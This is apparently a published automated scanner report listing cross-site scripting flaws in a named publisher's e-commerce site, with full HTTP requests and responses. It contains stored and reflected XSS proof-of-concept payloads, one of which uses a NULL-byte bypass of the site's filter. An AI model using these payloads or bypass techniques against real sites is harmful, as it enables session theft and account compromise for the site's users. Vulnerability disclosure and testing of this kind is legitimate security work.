Report generated by XSS.CX at Thu Apr 28 12:57:12 CDT 2011.


Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

Loading

1. Cross-site scripting (stored)

2. Cross-site scripting (reflected)

2.1. http://ecommerce.randomhouse.com/cart.do [from parameter]

2.2. http://ecommerce.randomhouse.com/cart.do [from parameter]

2.3. http://ecommerce.randomhouse.com/cart.do [from parameter]

2.4. http://ecommerce.randomhouse.com/cart.do [from parameter]

2.5. https://ecommerce.randomhouse.com/account.do [from parameter]

2.6. https://ecommerce.randomhouse.com/account.do [from parameter]

2.7. https://ecommerce.randomhouse.com/account.do [from parameter]

2.8. https://ecommerce.randomhouse.com/account.do [from parameter]

2.9. https://ecommerce.randomhouse.com/create-account-submit.do [confirmPassword parameter]

2.10. https://ecommerce.randomhouse.com/create-account-submit.do [email parameter]

2.11. https://ecommerce.randomhouse.com/create-account-submit.do [password parameter]

2.12. https://ecommerce.randomhouse.com/create-account.do [from parameter]

2.13. https://ecommerce.randomhouse.com/create-account.do [from parameter]

2.14. https://ecommerce.randomhouse.com/create-account.do [from parameter]

2.15. https://ecommerce.randomhouse.com/password.do [from parameter]

2.16. https://ecommerce.randomhouse.com/password.do [from parameter]

2.17. https://ecommerce.randomhouse.com/sign-in-submit.do [email parameter]

2.18. https://ecommerce.randomhouse.com/sign-in-submit.do [password parameter]

2.19. https://ecommerce.randomhouse.com/sign-in.do [from parameter]

2.20. https://ecommerce.randomhouse.com/sign-in.do [from parameter]

2.21. https://ecommerce.randomhouse.com/sign-in.do [from parameter]

2.22. https://ecommerce.randomhouse.com/sign-in.do [from parameter]

2.23. https://ecommerce.randomhouse.com/sign-in.do [from parameter]

2.24. https://ecommerce.randomhouse.com/sign-in.do [from parameter]

3. Cookie without HttpOnly flag set

3.1. http://ecommerce.randomhouse.com/cart.do

3.2. https://ecommerce.randomhouse.com/account.do

3.3. https://ecommerce.randomhouse.com/sign-in.do

3.4. http://ecommerce.randomhouse.com/cart.do

4. Password field with autocomplete enabled

4.1. https://ecommerce.randomhouse.com//email-password.do

4.2. https://ecommerce.randomhouse.com/account.do

4.3. https://ecommerce.randomhouse.com/create-account-submit.do

4.4. https://ecommerce.randomhouse.com/create-account.do

4.5. https://ecommerce.randomhouse.com/sign-in-submit.do

4.6. https://ecommerce.randomhouse.com/sign-in.do

5. Cookie scoped to parent domain

6. Cross-domain Referer leakage

6.1. http://ecommerce.randomhouse.com/cart.do

6.2. https://ecommerce.randomhouse.com//create-address.do

6.3. https://ecommerce.randomhouse.com//email-password.do

6.4. https://ecommerce.randomhouse.com//select-address.do

6.5. https://ecommerce.randomhouse.com//view-orders.do

6.6. https://ecommerce.randomhouse.com/account.do

6.7. https://ecommerce.randomhouse.com/create-account.do

6.8. https://ecommerce.randomhouse.com/password.do

6.9. https://ecommerce.randomhouse.com/sign-in.do

7. Cross-domain script include

7.1. http://ecommerce.randomhouse.com/cart.do

7.2. https://ecommerce.randomhouse.com//account.do

7.3. https://ecommerce.randomhouse.com//create-address.do

7.4. https://ecommerce.randomhouse.com//email-password.do

7.5. https://ecommerce.randomhouse.com//select-address.do

7.6. https://ecommerce.randomhouse.com//view-orders.do

7.7. https://ecommerce.randomhouse.com/account.do

7.8. https://ecommerce.randomhouse.com/create-account-submit.do

7.9. https://ecommerce.randomhouse.com/create-account.do

7.10. https://ecommerce.randomhouse.com/password.do

7.11. https://ecommerce.randomhouse.com/sign-in-submit.do

7.12. https://ecommerce.randomhouse.com/sign-in.do

8. Email addresses disclosed

8.1. http://ecommerce.randomhouse.com/store/js/rh/ecom.js

8.2. http://ecommerce.randomhouse.com/store/js/rh/prototype.js

8.3. http://ecommerce.randomhouse.com/store/js/rh/s_code.js

8.4. https://ecommerce.randomhouse.com//store/js/rh/ecom.js

8.5. https://ecommerce.randomhouse.com//store/js/rh/prototype.js

8.6. https://ecommerce.randomhouse.com//store/js/rh/s_code.js

8.7. https://ecommerce.randomhouse.com/store/js/rh/ecom.js

8.8. https://ecommerce.randomhouse.com/store/js/rh/prototype.js

8.9. https://ecommerce.randomhouse.com/store/js/rh/s_code.js

9. Cacheable HTTPS response

9.1. https://ecommerce.randomhouse.com//account.do

9.2. https://ecommerce.randomhouse.com//create-address.do

9.3. https://ecommerce.randomhouse.com//email-password.do

9.4. https://ecommerce.randomhouse.com//select-address.do

9.5. https://ecommerce.randomhouse.com//view-orders.do

9.6. https://ecommerce.randomhouse.com/account.do

9.7. https://ecommerce.randomhouse.com/address-validator.do

9.8. https://ecommerce.randomhouse.com/create-account-submit.do

9.9. https://ecommerce.randomhouse.com/create-account.do

9.10. https://ecommerce.randomhouse.com/password.do

9.11. https://ecommerce.randomhouse.com/sign-in-submit.do

9.12. https://ecommerce.randomhouse.com/sign-in.do



1. Cross-site scripting (stored)  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   //account.do

Issue detail

The value of the email request parameter submitted to the URL /create-account-submit.do is copied into the HTML document as plain text between tags at the URL //account.do. The payload 2559e<script>alert(1)</script>8523ef6493d was submitted in the email parameter. This input was returned unmodified in a subsequent request for the URL //account.do.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Issue background

Stored cross-site scripting vulnerabilities arise when data which originated from any tainted source is copied into the application's responses in an unsafe way. An attacker can use the vulnerability to inject malicious JavaScript code into the application, which will execute within the browser of any user who views the relevant application content.

The attacker-supplied code can perform a wide variety of actions, such as stealing victims' session tokens or login credentials, performing arbitrary actions on their behalf, and logging their keystrokes.

Methods for introducing malicious content include any function where request parameters or headers are processed and stored by the application, and any out-of-band channel whereby data can be introduced into the application's processing space (for example, email messages sent over SMTP which are ultimately rendered within a web mail application).

Stored cross-site scripting flaws are typically more serious than reflected vulnerabilities because they do not require a separate delivery mechanism in order to reach targe users, and they can potentially be exploited to create web application worms which spread exponentially amongst application users.

Note that automated detection of stored cross-site scripting vulnerabilities cannot reliably determine whether attacks that are persisted within the application can be accessed by any other user, only by authenticated users, or only by the attacker themselves. You should review the functionality in which the vulnerability appears to determine whether the application's behaviour can feasibly be used to compromise other application users.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

Request 1

POST /create-account-submit.do HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
Referer: https://ecommerce.randomhouse.com/create-account-submit.do
Cache-Control: max-age=0
Origin: https://ecommerce.randomhouse.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; s_cc=true; s_sq=%5B%5BB%5D%5D; SC_LINKS=%5B%5BB%5D%5D; JSESSIONID=916E1DF250E4C8F9A222E994DF92BDD0.ecommerce_wrk1; rhecommerce='"--></style></script><script>netsparker(0x000B6E)</script>|null|www.randomhouse.com|3; mbox=session#1303855598284-166145#1303859918|PC#1303855598284-166145#1366930058|check#true#1303858118; CP=null*; RES_SESSIONID=212207240983843; ResonanceSegment=1
Content-Length: 274

shippingAddress=useBillingAddress&email=%27%40%27.com2559e<script>alert(1)</script>8523ef6493d&firstName=llkk+kkk&lastName=kkk+&company=&street1=123+mmm+st+&street2=&city=new+york&stateProvince=NY&country=US&zipPostalCode=10010&phoneNumber=999-988-0987&faxNumber=&password=1234rf&confirmPasswor
...[SNIP]...

Request 2

GET //account.do HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
Referer: https://ecommerce.randomhouse.com/create-account-submit.do
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; s_cc=true; s_sq=%5B%5BB%5D%5D; SC_LINKS=%5B%5BB%5D%5D; JSESSIONID=916E1DF250E4C8F9A222E994DF92BDD0.ecommerce_wrk1; rhecommerce='"--></style></script><script>netsparker(0x000B6E)</script>|null|www.randomhouse.com|3; mbox=session#1303855598284-166145#1303859918|PC#1303855598284-166145#1366930058|check#true#1303858118; CP=null*; RES_SESSIONID=212207240983843; ResonanceSegment=1

Response 2

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:50:34 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 17132


<!-- account.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www
...[SNIP]...
<span class="loggedInText">'@'.com2559e<script>alert(1)</script>8523ef6493d</span>
...[SNIP]...

2. Cross-site scripting (reflected)  previous  next
There are 24 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


2.1. http://ecommerce.randomhouse.com/cart.do [from parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ecommerce.randomhouse.com
Path:   /cart.do

Issue detail

The value of the from request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b9cd4'%3balert(1)//15e475eec0c was submitted in the from parameter. This input was echoed as b9cd4';alert(1)//15e475eec0c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cart.do?from=randomhouseb9cd4'%3balert(1)//15e475eec0c HTTP/1.1
Host: ecommerce.randomhouse.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; RES_SESSIONID=212207240983843; ResonanceSegment=1; __qca=P0-874375948-1303855562358; s_cc=true; SC_LINKS=%5B%5BB%5D%5D; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:06:26 GMT
Server: Apache
Set-Cookie: JSESSIONID=273F58D0D75C926B1A99E5270E47D6D6.ecommerce_wrk1; Path=/
Set-Cookie: rhcartitems=; Domain=.randomhouse.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 19596


<!-- shoppingCart.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...
<!--
   // extract 'from' param
   var url = window.location.href;
   var paramStart = url.indexOf("?");
   var fromParam = '';
   if( 'randomhouseb9cd4';alert(1)//15e475eec0c' == '') {
       if( paramStart != -1) {
           var paramString = url.substr(paramStart + 1);
           var tokenStart = paramString.indexOf('from');
           if( tokenStart != -1) {
               var token = paramString.substr(toke
...[SNIP]...

2.2. http://ecommerce.randomhouse.com/cart.do [from parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ecommerce.randomhouse.com
Path:   /cart.do

Issue detail

The value of the from request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 49283"%3balert(1)//e4e0e74635 was submitted in the from parameter. This input was echoed as 49283";alert(1)//e4e0e74635 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cart.do?from=randomhouse49283"%3balert(1)//e4e0e74635 HTTP/1.1
Host: ecommerce.randomhouse.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; RES_SESSIONID=212207240983843; ResonanceSegment=1; __qca=P0-874375948-1303855562358; s_cc=true; SC_LINKS=%5B%5BB%5D%5D; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:06:26 GMT
Server: Apache
Set-Cookie: JSESSIONID=6766FA4ECEF48F7FBF98EEE206AFFBC1.ecommerce_wrk1; Path=/
Set-Cookie: rhcartitems=; Domain=.randomhouse.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 19589


<!-- shoppingCart.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...
<!--
var s_account="ranhcorporate,ranhrollup";
var rh_division="Random House Corporate";
var rh_imprint="";
var rh_store="randomhouse49283";alert(1)//e4e0e74635";
//-->
...[SNIP]...

2.3. http://ecommerce.randomhouse.com/cart.do [from parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ecommerce.randomhouse.com
Path:   /cart.do

Issue detail

The value of the from request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 17962"><script>alert(1)</script>6f8a1d41037 was submitted in the from parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cart.do?from=randomhouse17962"><script>alert(1)</script>6f8a1d41037 HTTP/1.1
Host: ecommerce.randomhouse.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; RES_SESSIONID=212207240983843; ResonanceSegment=1; __qca=P0-874375948-1303855562358; s_cc=true; SC_LINKS=%5B%5BB%5D%5D; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:06:25 GMT
Server: Apache
Set-Cookie: JSESSIONID=CF4601245B0C770882DDB50544AA239B.ecommerce_wrk1; Path=/
Set-Cookie: rhcartitems=; Domain=.randomhouse.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 19701


<!-- shoppingCart.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...
<a class="rollover" href="http://ecommerce.randomhouse.com/cart.do?from=randomhouse17962"><script>alert(1)</script>6f8a1d41037">
...[SNIP]...

2.4. http://ecommerce.randomhouse.com/cart.do [from parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ecommerce.randomhouse.com
Path:   /cart.do

Issue detail

The value of the from request parameter is copied into the HTML document as plain text between tags. The payload %00de38d<script>alert(1)</script>e9bd80595cd was submitted in the from parameter. This input was echoed as de38d<script>alert(1)</script>e9bd80595cd in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /cart.do?from=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000B6E)%3C/script%3E%00de38d<script>alert(1)</script>e9bd80595cd&addFlag=false&coupon=3&submit=Apply HTTP/1.1
Host: ecommerce.randomhouse.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; s_cc=true; s_sq=%5B%5BB%5D%5D; SC_LINKS=%5B%5BB%5D%5D; JSESSIONID=916E1DF250E4C8F9A222E994DF92BDD0.ecommerce_wrk1; CP=null*; mbox=session#1303855598284-166145#1303859906|PC#1303855598284-166145#1366930046|check#true#1303858106; RES_SESSIONID=212207240983843; ResonanceSegment=1

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:48:07 GMT
Server: Apache
Set-Cookie: rhcartitems=; Domain=.randomhouse.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 20031


<!-- shoppingCart.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...
</script>.de38d<script>alert(1)</script>e9bd80595cd">
...[SNIP]...

2.5. https://ecommerce.randomhouse.com/account.do [from parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /account.do

Issue detail

The value of the from request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8a18b'%3balert(1)//54e01557802 was submitted in the from parameter. This input was echoed as 8a18b';alert(1)//54e01557802 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /account.do?from=randomhouse8a18b'%3balert(1)//54e01557802 HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; RES_SESSIONID=212207240983843; ResonanceSegment=1; __qca=P0-874375948-1303855562358; s_cc=true; SC_LINKS=%5B%5BB%5D%5D; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:06:42 GMT
Server: Apache
Set-Cookie: JSESSIONID=E1AEBB4B90A0A073BB69786EC3949545.ecommerce_wrk1; Path=/; Secure
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 17083


<!-- signIn.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...
<!--
   // extract 'from' param
   var url = window.location.href;
   var paramStart = url.indexOf("?");
   var fromParam = '';
   if( 'randomhouse8a18b';alert(1)//54e01557802' == '') {
       if( paramStart != -1) {
           var paramString = url.substr(paramStart + 1);
           var tokenStart = paramString.indexOf('from');
           if( tokenStart != -1) {
               var token = paramString.substr(toke
...[SNIP]...

2.6. https://ecommerce.randomhouse.com/account.do [from parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /account.do

Issue detail

The value of the from request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 13d54"><script>alert(1)</script>e958056cf4c was submitted in the from parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /account.do?from=randomhouse13d54"><script>alert(1)</script>e958056cf4c HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; RES_SESSIONID=212207240983843; ResonanceSegment=1; __qca=P0-874375948-1303855562358; s_cc=true; SC_LINKS=%5B%5BB%5D%5D; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:06:39 GMT
Server: Apache
Set-Cookie: JSESSIONID=BB1FFAF98719ADA63DDF7D45FE159378.ecommerce_wrk1; Path=/; Secure
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 17203


<!-- signIn.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...
<a class="rollover" href="http://ecommerce.randomhouse.com/cart.do?from=randomhouse13d54"><script>alert(1)</script>e958056cf4c">
...[SNIP]...

2.7. https://ecommerce.randomhouse.com/account.do [from parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /account.do

Issue detail

The value of the from request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 584a0"%3balert(1)//4a17c54e7d8 was submitted in the from parameter. This input was echoed as 584a0";alert(1)//4a17c54e7d8 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /account.do?from=randomhouse584a0"%3balert(1)//4a17c54e7d8 HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; RES_SESSIONID=212207240983843; ResonanceSegment=1; __qca=P0-874375948-1303855562358; s_cc=true; SC_LINKS=%5B%5BB%5D%5D; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:06:40 GMT
Server: Apache
Set-Cookie: JSESSIONID=83BECC0B608D70FD1431DA4C08A24D6A.ecommerce_wrk1; Path=/; Secure
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 17083


<!-- signIn.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...
<!--
var s_account="ranhcorporate,ranhrollup";
var rh_division="Random House Corporate";
var rh_imprint="";
var rh_store="randomhouse584a0";alert(1)//4a17c54e7d8";
//-->
...[SNIP]...

2.8. https://ecommerce.randomhouse.com/account.do [from parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /account.do

Issue detail

The value of the from request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 74f99'%3balert(1)//44955d1d1a9 was submitted in the from parameter. This input was echoed as 74f99';alert(1)//44955d1d1a9 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /account.do?from=74f99'%3balert(1)//44955d1d1a9 HTTP/1.1
Host: ecommerce.randomhouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: RES_SESSIONID=212207240983843; JSESSIONID=38D14861B5F177BDEE31B25C6E8D7C7F.ecommerce_wrk1; s_cc=true; ResonanceSegment=1; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; s_sq=%5B%5BB%5D%5D; RES_TRACKINGID=686529694590717; CP=null*; rhcartitems=; SC_LINKS=%5B%5BB%5D%5D; __qca=P0-874375948-1303855562358; mbox=session#1303855598284-166145#1303858166|PC#1303855598284-166145#1366928306|check#true#1303856366;

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:20:46 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Connection: close
Content-Length: 16995


<!-- signIn.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...
<!--
   // extract 'from' param
   var url = window.location.href;
   var paramStart = url.indexOf("?");
   var fromParam = '';
